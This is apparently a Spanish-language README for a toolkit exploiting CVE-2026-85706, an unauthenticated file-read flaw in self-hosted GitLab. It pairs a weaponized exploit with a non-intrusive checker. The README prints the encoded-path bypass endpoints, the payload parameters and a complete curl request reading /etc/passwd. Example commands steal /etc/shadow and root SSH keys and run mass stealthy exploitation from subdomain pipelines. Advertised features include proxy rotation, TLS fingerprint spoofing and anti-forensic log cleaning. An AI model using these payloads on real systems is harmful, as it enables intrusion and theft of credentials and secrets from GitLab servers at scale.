Kit de herramientas en Python para la lectura no autenticada de archivos en GitLab CVE-2026-85706: exploit weaponizado con loot, shell, escaneo masivo, además de auditoría y generación de informes no intrusiva con SafeChecker.

⚠️ SOLO USO ÉTICO – PRUEBAS DE SEGURIDAD AUTORIZADAS
Este repositorio proporciona herramientas únicamente para profesionales de seguridad autorizados, equipos azules y pentesters.
El acceso no autorizado a sistemas informáticos es ilegal según la CFAA (EE. UU.), la Computer Misuse Act (Reino Unido), el TCK 243/244 (Turquía) y leyes similares en todo el mundo.
CVE‑2026‑85706 es una vulnerabilidad crítica de lectura arbitraria de archivos locales no autenticada en GitLab CE/EE autoalojado (versiones 18.7 a 19.3.1) que permite a un atacante no autenticado leer cualquier archivo del servidor mediante una única solicitud HTTP a la API de commits.
%63ommits./api/v4/projects/{id}/repository/commits abre el archivo especificado en file.path antes de que se aplique la autenticación.%-secuencia no válida, Rack devuelve el contenido en un cuerpo 400 Bad Request, filtrando el contenido completo.| Herramienta | Propósito | Usuario previsto |
|---|---|---|
exploit.py | Kit de herramientas completamente armado con lectura de archivos no autenticada, enumeración de botín, extracción de tokens de administrador, escaneo masivo, shell interactivo, rotación de proxies, modo sigiloso y generación de informes en múltiples formatos. | Equipos rojos / pentesters autorizados |
safechecker.py | Comprobador de vulnerabilidades no intrusivo que detecta la versión de GitLab, valida la exposición, audita las cabeceras de seguridad y evalúa el riesgo sin leer ningún archivo. Genera informes JSON/CSV/HTML. | Equipos azules / auditores de seguridad |
| Característica | exploit.py | safechecker.py |
|---|---|---|
| Detección de vulnerabilidades | ✅ | ✅ |
| Detección de versión | ✅ | ✅ |
| Lectura de archivos no autenticada | ✅ | ❌ |
| Enumeración de botín | ✅ | ❌ |
| Extracción de tokens de administrador | ✅ | ❌ |
| Shell interactivo | ✅ | ❌ |
| Escaneo masivo (multihilo) | ✅ | ✅ |
| Auditoría de cabeceras de seguridad | ❌ | ✅ |
| Comprobación de TLS/certificado | ❌ | ✅ |
| Mapeo MITRE ATT&CK | ✅ | ✅ |
| Soporte de proxy | ✅ | ✅ |
| Rotación de proxies | ✅ | ❌ |
| Rotación de User‑Agent (OPSEC) | ✅ | ❌ |
| Jitter / retardo (OPSEC) | ✅ | ❌ |
| Limitador de tasa adaptativo | ✅ | ✅ |
| Modo sigiloso | ✅ | ❌ |
| Suplantación de TLS con curl_cffi | ✅ | ❌ |
| Modo no intrusivo (seguro) | ❌ | ✅ |
| Salida JSON / JSONL / CSV / HTML | ✅ | ✅ |
| Salida a base de datos SQLite | ✅ | ❌ |
| Notificación por webhook | ✅ | ✅ |
| Diferencias con el escaneo anterior | ✅ | ✅ |
| Escenario | Herramienta recomendada |
|---|---|
| Equipo azul – verificar si su GitLab es vulnerable | safechecker.py |
| Auditoría de seguridad – evaluación de vulnerabilidades no intrusiva | safechecker.py |
| Equipo rojo – pruebas de penetración autorizadas con explotación completa | exploit.py |
| Bug Bounty – pruebas de divulgación responsable | safechecker.py |
| Escaneo masivo – comprobar múltiples objetivos en busca de vulnerabilidades | exploit.py (solo detección) |
| Respuesta a incidentes – comprobar si los sistemas están comprometidos | safechecker.py |
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt
requests
urllib3
curl_cffi
rich
pyyaml
exploit.py| Parámetro | Descripción |
|---|---|
-u, --url | URL de un único objetivo (p. ej. https://gitlab.example.com) |
-f, --file | Archivo que contiene la lista de objetivos (uno por línea) |
--pipe | Leer objetivos desde stdin (pipeline de subfinder/httpx) |
--read | Ruta(s) absoluta(s) a leer, separadas por comas |
--wordlist | Archivo con rutas a leer (una por línea) |
--project-id | Forzar un ID de proyecto específico |
--max-projects | Máximo de IDs de proyecto a probar (predeterminado: 8) |
--auto | Extraer automáticamente archivos de alto valor de GitLab |
--loot | Igual que --auto |
--shell | Shell interactivo tras la explotación |
--force | Escanear incluso si la huella de GitLab es débil |
-t, --threads | Hilos para múltiples objetivos (predeterminado: 8) |
--timeout | Tiempo de espera HTTP (predeterminado: 15s) |
--retry | Número de reintentos (predeterminado: 3) |
--retry-on | Códigos HTTP para reintentar (predeterminado: 429,500,502,503,504) |
--proxy | Proxy HTTP/HTTPS |
--proxy-list | Archivo con proxies para rotación |
--proxy-rotate | Estrategia de rotación: round-robin, random, sticky |
--jitter | Añadir jitter aleatorio entre solicitudes |
--jitter-range | Jitter mín,máx segundos (predeterminado: 0.1,2.0) |
--delay | Retardo fijo entre solicitudes |
safechecker.py| Parámetro | Descripción |
|---|---|
-u, --url | URL de un único objetivo (p. ej. https://gitlab.example.com) |
-f, --file | Archivo con objetivos (uno por línea) |
-t, --threads | Hilos para múltiples objetivos (predeterminado: 5) |
--timeout | Tiempo de espera HTTP (predeterminado: 10s) |
--rate-limit | Máximo de solicitudes por segundo (0 = ilimitado) |
--user-agent | Cadena User-Agent personalizada |
--insecure | Desactivar verificación TLS (riesgo de MITM) |
--webhook | URL de webhook (slack:, discord:, telegram:) |
--diff | Comparar con el JSON del escaneo anterior |
-v, --verbose | Salida detallada |
-o, --output | Archivo de salida JSON |
--csv | Archivo de salida CSV |
--report | Archivo de informe HTML |
--mitre | Incluir mapeo MITRE ATT&CK (predeterminado: activado) |
| # | Escenario | Comando |
|---|---|---|
| 1 | Comprobación rápida de vulnerabilidad | python safechecker.py -u https://gitlab.example.com |
| 2 | Auditoría detallada con informe | python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v |
| 3 | Auditoría masiva desde archivo | python safechecker.py -f targets.txt -t 10 --rate-limit 5 |
| 4 | Exploit solo detección | python exploit.py -u https://gitlab.example.com --safe-mode |
| 5 | Leer un único archivo | python exploit.py -u https://gitlab.example.com --read /etc/passwd |
| 6 | Leer múltiples archivos | python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa |
| 7 | Extracción automática de archivos de alto valor | python exploit.py -u https://gitlab.example.com --auto |
| 8 | Shell interactivo | python exploit.py -u https://gitlab.example.com --shell |
| 9 | Explotación masiva con sigilo | python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl |
| 10 | Pipeline desde subfinder | subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl |
| 11 | Ataque completo con salida SIEM | python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json |
| 12 | Reanudar escaneo interrumpido | python exploit.py -f targets.txt --auto --resume state.json |
| 13 | Comparar dos escaneos | python safechecker.py -f targets.txt -o new.json --diff previous.json |
El exploit utiliza los siguientes endpoints de GitLab y técnicas de elusión:
| Paso | Método | Endpoint | Descripción |
|---|---|---|---|
| 1. Elusión | POST | /api/v4/projects/{id}/repository/%63ommits | La c codificada elude Workhorse |
| 2. Elusión | POST | /api/v4/projects/{id}/%72epository/commits | La r codificada en repository |
| 3. Elusión | POST | /api/v4/projects/{id}/repository/commits/ | Elusión con barra final |
| 4. Elusión | POST | /api/v4/projects/{id}/repository/commits.json | Elusión con sufijo de formato Grape |
| 5. API de archivos | POST | /api/v4/projects/{id}/repository/files/x | Ruta alternativa |
file=&file.path=/etc/passwd&file.size=1
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"
Este software se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.
| Limpieza de registros (antiforense) | ✅ | ❌ |
| User‑Agent personalizado | ✅ | ✅ |
| Control de verificación SSL | ✅ | ✅ |
--stealth| Activar modo sigiloso (rotación de UA + X-Forwarded-For) |
--curl-cffi | Usar curl_cffi para suplantación de huella TLS |
--user-agent-file | Archivo con cadenas User-Agent |
--max-body | Tamaño máximo del cuerpo de respuesta (0 = ilimitado) |
--concurrent-per-host | Máximo de solicitudes concurrentes por host |
--rate-limit | Máximo de solicitudes por segundo (0 = ilimitado) |
--exclude | Hosts a excluir separados por comas (patrones glob) |
--grep | Mostrar solo filtraciones que coincidan con la regex |
--resume | Reanudar desde el archivo de estado |
--notify | URL de notificación (slack:, discord:, telegram:) |
--db | Guardar resultados en base de datos SQLite |
--output-format | Formato de salida: json, jsonl, csv, html |
-o, --output | Ruta del archivo de salida |
-v, --verbose | Salida detallada |
-q, --quiet | Modo silencioso |
--no-color | Desactivar colores |
--no-banner | Sin banner |
--config | Archivo de configuración YAML/JSON |
--dry-run | Mostrar el plan sin realizar solicitudes |
--safe-mode | Leer solo /etc/hostname para verificar |
--timeout-profile | aggressive, normal, stealth |
--mitre | Incluir mapeo MITRE ATT&CK |
--fingerprint | Huella detallada de GitLab |
--cve-check | Comprobar CVEs relacionadas |
--json-schema | Salida con esquema JSON para SIEM |
--progress | Mostrar barra de progreso (requiere rich) |